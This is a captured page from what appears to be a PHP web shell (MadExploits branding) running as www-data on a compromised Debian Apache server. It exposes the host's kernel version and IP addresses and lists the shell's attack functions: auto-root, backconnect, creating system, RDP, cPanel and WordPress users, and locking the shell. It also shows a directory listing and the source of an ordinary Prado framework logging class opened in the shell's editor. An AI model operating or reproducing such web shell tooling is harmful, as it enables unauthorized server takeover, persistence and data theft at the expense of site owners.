Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.144.117.52
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Util /
[ HOME SHELL ]
Name
Size
Permission
Action
Behaviors
[ DIR ]
drwxr-xr-x
Cron
[ DIR ]
drwxr-xr-x
IBaseBehavior.php
957
B
-rw-r--r--
IBehavior.php
957
B
-rw-r--r--
IClassBehavior.php
1.43
KB
-rw-r--r--
IDbModule.php
959
B
-rw-r--r--
IDynamicMethods.php
618
B
-rw-r--r--
IInstanceCheck.php
1.35
KB
-rw-r--r--
IPluginModule.php
531
B
-rw-r--r--
TBehavior.php
2.41
KB
-rw-r--r--
TBehaviorsModule.php
7.83
KB
-rw-r--r--
TBrowserLogRoute.php
4.75
KB
-rw-r--r--
TCallChain.php
6.08
KB
-rw-r--r--
TClassBehavior.php
852
B
-rw-r--r--
TClassBehaviorEventParameter.p...
1.81
KB
-rw-r--r--
TDataFieldAccessor.php
3.38
KB
-rw-r--r--
TDbLogRoute.php
6.08
KB
-rw-r--r--
TDbParameterModule.php
22.81
KB
-rw-r--r--
TDbPluginModule.php
2.88
KB
-rw-r--r--
TEmailLogRoute.php
3.66
KB
-rw-r--r--
TFileLogRoute.php
4.09
KB
-rw-r--r--
TFirePhpLogRoute.php
2.96
KB
-rw-r--r--
TFirebugLogRoute.php
3.81
KB
-rw-r--r--
TJsonRpcClient.php
2.47
KB
-rw-r--r--
TLogRoute.php
4.82
KB
-rw-r--r--
TLogRouter.php
5.18
KB
-rw-r--r--
TLogger.php
8.32
KB
-rw-r--r--
TParameterModule.php
5.45
KB
-rw-r--r--
TPluginModule.php
4.84
KB
-rw-r--r--
TRpcClient.php
3.91
KB
-rw-r--r--
TRpcClientRequestException.php
590
B
-rw-r--r--
TRpcClientResponseException.ph...
725
B
-rw-r--r--
TRpcClientTypesEnumerable.php
458
B
-rw-r--r--
TSimpleDateFormatter.php
8.86
KB
-rw-r--r--
TUtf8Converter.php
1.34
KB
-rw-r--r--
TVarDumper.php
3.43
KB
-rw-r--r--
TXmlRpcClient.php
2.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TEmailLogRoute.php
<?php /** * TLogRouter, TLogRoute, TFileLogRoute, TEmailLogRoute class file * * @author Qiang Xue <qiang.xue@gmail.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Util; /** * TEmailLogRoute class. * * TEmailLogRoute sends selected log messages to email addresses. * The target email addresses may be specified via {@link setEmails Emails} property. * Optionally, you may set the email {@link setSubject Subject} and the * {@link setSentFrom SentFrom} address. * * @author Qiang Xue <qiang.xue@gmail.com> * @since 3.0 */ use Prado\Exceptions\TConfigurationException; /** * TEmailLogRoute class. * * TEmailLogRoute sends selected log messages to email addresses. * The target email addresses may be specified via {@link setEmails Emails} property. * Optionally, you may set the email {@link setSubject Subject} and the * {@link setSentFrom SentFrom} address. * * @author Qiang Xue <qiang.xue@gmail.com> * @since 3.0 */ class TEmailLogRoute extends TLogRoute { /** * Regex pattern for email address. */ public const EMAIL_PATTERN = '/^([0-9a-zA-Z]+[-._+&])*[0-9a-zA-Z]+@([-0-9a-zA-Z]+[.])+[a-zA-Z]{2,6}$/'; /** * Default email subject. */ public const DEFAULT_SUBJECT = 'Prado Application Log'; /** * @var array list of destination email addresses. */ private $_emails = []; /** * @var string email subject */ private $_subject = ''; /** * @var string email sent from address */ private $_from = ''; /** * Initializes the route. * @param \Prado\Xml\TXmlElement $config configurations specified in {@link TLogRouter}. * @throws TConfigurationException if {@link getSentFrom SentFrom} is empty and * 'sendmail_from' in php.ini is also empty. */ public function init($config) { if ($this->_from === '') { $this->_from = ini_get('sendmail_from'); } if ($this->_from === '') { throw new TConfigurationException('emaillogroute_sentfrom_required'); } } /** * Sends log messages to specified email addresses. * @param array $logs list of log messages */ protected function processLogs($logs) { $message = ''; foreach ($logs as $log) { $message .= $this->formatLogMessage($log[0], $log[1], $log[2], $log[3]); } $message = wordwrap($message, 70); $returnPath = ini_get('sendmail_path') ? "Return-Path:{$this->_from}\r\n" : ''; foreach ($this->_emails as $email) { mail($email, $this->getSubject(), $message, "From:{$this->_from}\r\n{$returnPath}"); } } /** * @return array list of destination email addresses */ public function getEmails() { return $this->_emails; } /** * @param array|string $emails list of destination email addresses. If the value is * a string, it is assumed to be comma-separated email addresses. */ public function setEmails($emails) { if (is_array($emails)) { $this->_emails = $emails; } else { $this->_emails = []; foreach (explode(',', $emails) as $email) { $email = trim($email); if (preg_match(self::EMAIL_PATTERN, $email)) { $this->_emails[] = $email; } } } } /** * @return string email subject. Defaults to TEmailLogRoute::DEFAULT_SUBJECT */ public function getSubject() { if ($this->_subject === null) { $this->_subject = self::DEFAULT_SUBJECT; } return $this->_subject; } /** * @param string $value email subject. */ public function setSubject($value) { $this->_subject = $value; } /** * @return string send from address of the email */ public function getSentFrom() { return $this->_from; } /** * @param string $value send from address of the email */ public function setSentFrom($value) { $this->_from = $value; } }
Close